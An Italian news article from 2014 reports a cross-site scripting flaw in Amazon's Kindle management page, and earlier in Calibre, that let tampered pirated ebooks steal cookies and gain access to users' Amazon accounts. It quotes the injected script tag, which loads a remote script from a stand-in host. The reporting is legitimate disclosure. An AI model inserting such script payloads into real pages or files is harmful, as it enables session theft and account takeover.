---
title: "Kindle: una falla permette di accedere all’ account Amazon degli utenti"
id: "341822"
type: "post"
slug: "kindle-falla-permette-accedere-allaccount-amazon-degli-utenti"
published_at: "2014-09-16T09:19:57+00:00"
modified_at: "2014-09-16T09:21:06+00:00"
url: "https://www.macitynet.it/kindle-falla-permette-accedere-allaccount-amazon-degli-utenti/"
markdown_url: "https://www.macitynet.it/kindle-falla-permette-accedere-allaccount-amazon-degli-utenti.md"
excerpt: "Una vulnerabilità nella pagina web di gestione di Kindle permette di accedere ai dati account Amazon degli utenti. Può essere sfruttata con codice malevolo integrato negli ebook piratati"
taxonomy_category:
  - "e-Book e Libri"
  - "Internet"
taxonomy_post_tag:
  - "Amazon"
  - "Kindle"
  - "Sicurezza"
---

Questo sito contiene **[link di affiliazione](https://www.macitynet.it/pubblicita/)** per cui può essere compensato

[Home](https://www.macitynet.it/)
 » [Hi-Tech](https://www.macitynet.it/category/hi-tech/)
 » [e-Book e Libri](https://www.macitynet.it/category/hi-tech/libri-ebook/)
 » **Kindle: una falla permette di accedere all’ account Amazon degli utenti**

[e-Book e Libri](https://www.macitynet.it/category/hi-tech/libri-ebook/)
[Internet](https://www.macitynet.it/category/hi-tech/internet/)

# Kindle: una falla permette di accedere all’ account Amazon degli utenti

Di[Daniele Piccinelli](https://www.macitynet.it/author/daniele/)

16 Set 2014

I dati account degli utenti Amazon possono essere ottenuti da pirati, cracker e malintenzionati sfruttando una vulnerabilità contenuta nella pagina web di gestione di Kindle. Per sfruttare questa falla occorre scaricare un ebook al cui interno è stato integrato del codice malevolo scritto ad hoc, operazione possibile solo con libri digitali piratati, provenienti da fonti e siti non autorizzati.

La scoperta di questa vulnerabilità da parte del ricercatore Benjamin Daniel Musser non è nuova né recente, infatti Musser aveva già rilevato questa possibilità nel mese di ottobre del 2013. In pochi giorni Amazon ha rimosso la falla contenuta nella pagina web di gestione Kindle. Ora però la vulnerabilità risulta di nuovo funzionante a seguito di una operazione di aggiornamento di questa sezione del sito Amazon. Il pericolo maggiore riguarda gli utenti che scaricano ebook piratati e da fonti o siti non autorizzati: i libri digitali compromessi a questo scopo contengono la stringa <script src=”https://www.example.org/script.js”></script> nel soggetto. Se un ebook contenente codice malevolo viene caricato nella libreria Kindle dell’utente, l’attaccante ottiene l’accesso ai cookies del sistema e da qui è possibile accedere nome utente e passwoerd dell’account Amazon.

Anche se la vulnerabilità è di nuovo funzionante, il ricercatore spiega che fino a una risoluzione da parte di Amazon, risulta piuttosto semplice evitare il problema: è sufficiente evitare di scaricare libri gratuiti e piratati da siti diversi di quello di Amazon. Sempre Musser ha rilevato che la stessa falla poteva essere sfruttata all’interno di Calber, noto e apprezzato software anche per Mac per gestire ebook. Lo sviluppatore di Caliber ha comunque rilevato il problema e prontamente rilasciato l’aggiornamento 1.8 che chiude la vulnerabilità.

[https://www.macitynet.it/wp-content/uploads/2014/09/account-amazon-falla.jpg](https://www.macitynet.it/wp-content/uploads/2014/09/account-amazon-falla.jpg)

[Segui Macitynet su Google News](https://news.google.com/publications/CAAqBwgKMI3ThAswm72BAw?hl=it&gl=IT&ceid=IT%3Ait)

### Offerte Apple e Tecnologia

Le offerte dell'ultimo minuto le trovi nel nostro canale Telegram

[Iscriviti](https://t.me/offertemacitynet)

#### Offerte Speciali

[https://www.macitynet.it/offerte-amazon-16-settembre-2026/](https://www.macitynet.it/offerte-amazon-16-settembre-2026/)

### [Offerte Amazon 16 settembre: Apple, Samsung, DJI, Marshall, Insta360, LG, Logitech, TP-Link](https://www.macitynet.it/offerte-amazon-16-settembre-2026/)

16 Set 2026

Le migliori offerte Amazon del 16 settembre 2026: dispositivi tech e accessori per la vita di tutti i giorni, selezionati da Macitynet.

- Tags
- [Amazon](https://www.macitynet.it/tag/amazon/)
- [Kindle](https://www.macitynet.it/tag/kindle/)
- [Sicurezza](https://www.macitynet.it/tag/sicurezza/)

Articolo precedente[«Noi non raccogliamo i vostri dati»: Tim Cook contro Google nella seconda parte dell’intervista TV](https://www.macitynet.it/non-raccogliamo-i-vostri-dati-tim-cook-contro-google-seconda-parte-dellintervista-tv/)

Articolo successivo[Dropbox per Mac: già pronto per il futuro OS X 10.9.5](https://www.macitynet.it/dropbox-aggiornato-client-mac-gia-pronto-per-os-x-10-9-5/)